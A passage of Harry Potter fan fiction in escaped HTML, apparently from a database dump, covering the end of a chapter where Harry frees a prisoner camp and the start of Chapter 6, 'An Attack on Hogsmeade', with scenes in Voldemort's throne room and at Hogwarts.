Eater.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;No,\nplease!&quot; she begged.&nbsp; &quot;My\nmother! She needs me!&nbsp; She would die\nwithout me!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well then,\nyou have nothing to worry about,&quot; said the Death Eater.&nbsp; The girl wearily looked up into the grinning\nface of the Death Eater.&nbsp; &quot;She\'d be\njoining you soon anyway.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;No!&quot;\nscreamed the girl.&nbsp; As if that was the\ncue, the prisoners started rushing out of the bunks, curfew forgotten as they tried\nto make it to the girl before she was mercilessly executed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Do any of\nyou fools really think you can save this girl,&quot; hissed the Death\nEater.&nbsp; All of the prisoners abruptly\nstopped.&nbsp; &quot;You\'ll all be punished\nfor breaking curfew.&nbsp; But first, I\'m going\nto finish this muggle scum before your very eyes.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eater\nraised his wand toward the terrified girl and started to mutter the killing\ncurse.&nbsp; Suddenly, the lion sprung out of\nhis hiding place and pounced on the Death Eater with a mighty roar!&nbsp; He covered his body over the frightened girl\nand growled at the trolls who were closing in on him, their clubs raised.&nbsp; The Death Eater slowly stood up, looking\nshocked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;A lion?&nbsp; In England?&quot; he wondered out loud.&nbsp; It was also clear that all the prisoners\nwere thinking the same thing.&nbsp; However,\nthey didn\'t really care since for some strange reason, this lion seemed to be\nagainst their oppressors.&nbsp; The girl\nhesitantly petted the lion as the lion gently nudged her.&nbsp; She was mesmerized but the beautiful emerald\ngreen eyes of the lion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Thank\nyou,&quot; she whispered before she ran away.&nbsp;\nShe disappeared into the crowd.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It didn\'t take the\nwizard long to figure out the secret of the lion.&nbsp; &quot;Get him,&quot; he ordered the trolls.&nbsp; &quot;He\'s an animagus!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The trolls lumbered\ntoward the lion, waving their clubs over their heads.&nbsp; The lion remained in a crouching position while the trolls\nlumbered closer.&nbsp; Suddenly, he leapt\nonto one of them and sunk his fangs into the throat of the troll.&nbsp; From that troll, the lion pounced onto\nanother one and slashed his claws into its face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Another troll\nswung its club down, but the lion rolled out of the way as the club crashed\ninto the snow.&nbsp; The lion leaped forward\nand sunk his claws into the troll\'s arm.&nbsp;\nThe troll howled and pain and tried to fling the lion off.&nbsp; In the process, the troll rammed its club\ninto a number of the other trolls surrounding it.&nbsp; The lion simply clung out to the troll&#8217;s arm, never letting\ngo.&nbsp; Finally the troll fell down,\nexhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That left only one\ntroll.&nbsp; The troll swung its club down as\nthe lion pranced back and forth, avoiding the club.&nbsp; Eventually, the lion pranced behind the troll, whereupon it leapt\nonto the troll\'s back.&nbsp; After much\nthrashing about, the troll sank down, exhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The lion silently\ncrept up to the Death Eater.&nbsp;\n&quot;Don\'t think just because you beat a few trolls you can beat\nme,&quot; said the Death Eater.&nbsp; The\nquiver in his voice however, betrayed his fear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The lion simply\nedged closer to the Death Eater.&nbsp;\nSuddenly, the Death Eater shouted, <i>&quot;Avada Kedavra!&quot;</i>&nbsp; The lion simply leapt out of the way of the\ngreen light of the killing curse, leaving behind a smoldering crater.&nbsp; The Death Eater fired a number of other\nkilling curses and the lion simply dodged each of them.&nbsp; The Death Eater suddenly panicked.&nbsp; He pointed his wand toward the crowd.&nbsp; &quot;Surrender or they die!&quot; he\nshouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Before he could\nfire any curses however, the lion suddenly leapt in front of him and\ntransformed!&nbsp; A gloved left hand grabbed\nthe Death Eater\'s throat while a wand was pointed into the Death Eater\'s\nterrified face.&nbsp; What was previously a\nlion was now a young man in scarlet and gold robes, a black cloak, and a\ntattered black hat.&nbsp; Emerald green eyes\nshone behind a pair of glasses and a lightning bolt-shaped scar was clear\nbehind messy black bangs.&nbsp; The Death\nEater immediately recognized the wizard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;H-Harry...Potter?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Whom did you\nexpect?&quot; said Harry with a sinister grin.&nbsp;\nThe Death Eater looked positively more frightened than ever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eater managed\nto squirm out of Harry\'s grasp and backed off.&nbsp;\nBy now, the crowds were cheering Harry on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don&#8217;t think\nI\'m finished yet!&quot; yelled the Death Eater. He placed two fingers on his\nlips and blew a shrill whistle.&nbsp; A\nmonstrous creature suddenly leapt in between the Death Eater and Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a\nchimera.&nbsp; It had three monstrous\nheads.&nbsp; Its main head was the head of a\nlion: flames were gushing from this head.&nbsp;\nIts body was the body of the goat, including a goat\'s head right behind\nthe lion\'s head.&nbsp; It had a snake\'s tail\nthat ended in a snake\'s head, fangs shining menacingly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The crowds backed\naway in fear.&nbsp; Harry however seemed\nunimpressed as he smirked at the chimera.&nbsp;\nSuddenly, he started hissing in parseltongue.&nbsp; He seemed to be conversing with the snake\'s head.&nbsp; Eventually, it seemed as if the snake\'s head\nwas convinced that Harry was not an enemy.&nbsp;\nThe lion\'s head seemed to recognize Harry\'s animagus lion nature and also\nrecognized Harry as a friend.&nbsp; The two\nheads also appeared to have convinced the goat head as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eater\nrecoiled in horror as the chimera wandered away.&nbsp; &quot;W-what...what happened?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh I don\'t\nknow,&quot; said Harry with a thoughtful look.&nbsp;\n&quot;I guess all I have to say is...<i>Stupefy!</i>&quot;&nbsp; The Death Eater slumped unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;This had\nbetter work, Weasley,&quot; hissed Seamus.&nbsp;\nA small army of resistance wizards was gathered in front of the camp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron grinned.&nbsp; &quot;Trust me Finnigan,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a cry, the\nwizards and witches charged into the camp brandishing their wands.&nbsp; However, they were startled when they found\nall of the prisoners already liberated and surrounding something in the center\nof the camp; they were cheering.&nbsp; The\nDeath Eater warden was tied up and was lying in front of all the trolls who were\nall piled up.&nbsp; Sitting in top of the\npile of trolls, his legs crossed, was Harry Potter.&nbsp; All of the wizards and witches, except for a grinning Ron, gaped\nat the Boy who lived whom they hadn\'t seen in two years.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry simply\nbeamed down at the wizards.&nbsp; &quot;What\ntook you so long?&quot; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Did you like\nthis chapter?&nbsp; I had quite a hard time\nwriting it.&nbsp; But it still was a lot of\nfun.&nbsp; I hope you had fun as well.&nbsp; So R/R.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 6, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Though I walk\nthrough the valley of the shadow of death, I will fear no evil, for you are\nwith me; your rod and your staff they comfort me. &quot;</i></p>\n\nPsalm 23:4\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;<b>Chapter\n6: An Attack on Hogsmeade</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The news of the\nliberation of the concentration camp near Manchester spread like wildfire\nthrough Voldemort\'s empire.&nbsp; Rumors that\nHarry Potter had returned were welcomed by the oppressed and they dared to hope\nonce again, that the Boy who lived would once again finish Voldemort off.&nbsp; It was possible that the return of the lion\nwould indeed be the downfall of the serpent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In Located in the\nspot where the Tower of London formally was, stood the massive fortress tower\nof Parselrock, the center of Voldemort\'s empire.&nbsp; On the top floor of the massive fortress was the throne room of the\nDark Lord.&nbsp; It was a dark chamber that\nwas a perfect replica of the Chamber of Secrets hidden underneath Hogwarts,\nwith massive pillars decorated with snakes, and a massive statue of Salazar\nSlytherin at the end of the chamber.&nbsp; In\nfront of the statue was a massive, black throne that was decorated with dragon\nclaws.&nbsp; Seated on the throne was a being\nof utmost terror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">He was tall,\nnearly 6 feet 6 inches, had a thin white face with pulled up skin that made it\nlook like a skull with a lipless mouth and a pair of slits for nostrils.&nbsp; His white hands had frighteningly long\nfingers that made them look like spiders.&nbsp;\nHe had black hair, and was wearing elegant black robes with silver\nhems.&nbsp; But the most frightening aspects\nof him were his eyes: scarlet red eyes with slits for pupils that resembled a\ncat\'s eyes.&nbsp; This was the instigator of\nthe so-called &quot;darkness&quot;, the ruler of the Dark Order, the Dark Lord\nVoldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">He was flanked by\na dozen dementors: vile creatures about two meters tall, dressed in dark robes,\nand with hoods that hid their horrendous faces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In front of\nVoldemort\'s throne were two beautiful woman, both clearly in their mid\ntwenties.&nbsp; One of them had waist length\nblonde hair and icy blue eyes.&nbsp; She was\nkneeling in front of the Dark Lord.&nbsp; The\nother woman had short brown hair and cold hazel eyes.&nbsp; She was standing behind the blonde woman, staring straight into\nthe Dark Lord\'s eyes.&nbsp; They were both\nwearing tight, revealing black robes and it was also fairly obvious that these\ntwo women were sisters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So tell me,\nIcicle,&quot; said Voldemort.&nbsp; &quot;Do\nyou think the rumors are true?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;My lord, it\ncertainly appears so.&nbsp; Harry Potter has\nreturned,&#8221; said the blonde woman who was evidently Icicle.&nbsp; &quot;According to rumors, he has come back\nas a Battle Wizard, far more powerful than most.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The other woman\nchuckled.&nbsp; &quot;Oh, so my little sister\nis frightened of a few rumors.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle sprang to\nher feet and sent a death glare at her sister.&nbsp;\n&quot;You will not speak to me that way in front of our master,\nFlame!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh\nreally,&quot; said Flame with a nasty smirk.&nbsp;\n&quot;Whichever way, Icicle, it is no longer necessary to worry.&nbsp; I have already dispatched an entire legion\nof our forces to Hogsmeade.&nbsp; They will\nfinish Potter off!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle stared at\nher sister, speechless.&nbsp; Voldemort\nhowever let out a high-pitched laugh.&nbsp;\nFlame frowned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Does\nsomething amuse you, my Lord?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Flame,\nFlame, Flame,&quot; said Voldemort while shaking his head, a grin on his\nface.&nbsp; &quot;You must understand that if\nPotter truly has become a Battle Wizard, it will most likely be the legion that\nyou just sent that will be finished.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame spluttered\nbut was unable to say anything.&nbsp; Icicle\nsmirked at her before she turned to Voldemort and said, &quot;My Lord, what do\nyou suggest we do about Potter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Gather the\nKiller Elite,&quot; said Voldemort.&nbsp;\n&quot;They are probably the only ones on our side who can fight a Battle\nWizard on our terms.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I will get\non it right away,&quot; said Icicle.&nbsp;\nShe smirked at Flame as she turned around and strolled out of the\nChamber.&nbsp; Flame glared at her before\nfollowing her out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The liberation of\nthe concentration camp in Manchester had been a tremendous success in many\nways.&nbsp; Now, muggle resistance groups\nwere willing to accept the fact that not all wizards and witches were evil, and\nat least in Britain, they were willing to join forces.&nbsp; By New Years, people were daring to hope\nagain, all because of Harry\'s return.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Who would\'ve\never thought,&quot; said Sirius Black as he, Harry, Ron, and Remus were walking\nalong the corridors of Hogwarts.&nbsp;\n&quot;That just your return would make such a difference.&nbsp; I mean, sure people believed in you because\nyou are the Boy who lived, but now you actually seem to have the abilities to\nmatch your reputation.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Sirius, its\nreally nothing,&quot; said Harry.&nbsp;\n&quot;I just received more training than the average wizard.&nbsp; Anybody can do things I can if they went\nthrough what I went through these past two years.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yeah but\nHarry, the fact that it\'s you makes a big difference,&quot; said Ron looking\nexcited.&nbsp; Harry chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know, we\nreally missed you these past two years,&quot; said Remus.&nbsp; &quot;Especially Hermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius and Ron\nimmediately went silent.&nbsp; Harry sighed\nand gazed out of the window.&nbsp; &quot;I\nmissed everyone as well.&nbsp; It was sheer\ntorture not being able to contact anyone for a full two years.&nbsp; Now, I\'m back and yet...&quot; Ron was\nstartled to see that Harry was slightly shaking.&nbsp; Sirius however, seemed to understand what was going on in Harry\'s\nmind and placed a comforting hand on his shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We\'re all\nworried about Hermione, Harry,&quot; he said.&nbsp;\nHarry was holding back tears and his teeth were gritted.&nbsp; &quot;At least we know that she\'s\nalive.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But that\'s\nall we know!&quot; yelled Harry, turning around to glare at them.&nbsp; We don\'t know where she is or how she\'s\ndoing!&nbsp; For all we know she could be\nsick!&nbsp; Or hurt!&nbsp; Or worse, some sick Death Eater could be\nraping her!&nbsp; I swear by God, if anything\nalong those lines has happened to her, I\'ll never forgive myself!&quot;&nbsp; A few tears actually rolled down Harry\'s\ncheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron opened his\nmouth to say something but found that he couldn\'t.&nbsp; These were things that Ron was also afraid of and he also saw\nthat Sirius and Remus had the same fears.&nbsp;\nHarry turned back to gazing out the window.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know she\nwas the one I missed the most of all,&quot; he said.&nbsp; &quot;No offense to you guys, but the two of us grew so close to\neach other during the years we have known one another.&nbsp; Being away from her was...is like not being\nfully alive.&nbsp; I feel like she completed\nme in ways that...hey what\'s that?&quot;&nbsp;\nHarry seemed to have spotted something in Hogsmeade.&nbsp; Ron, Sirius, and Remus looked out the window\nto see what was happening and gasped.</p>\n\n<p class="MsoNormal" 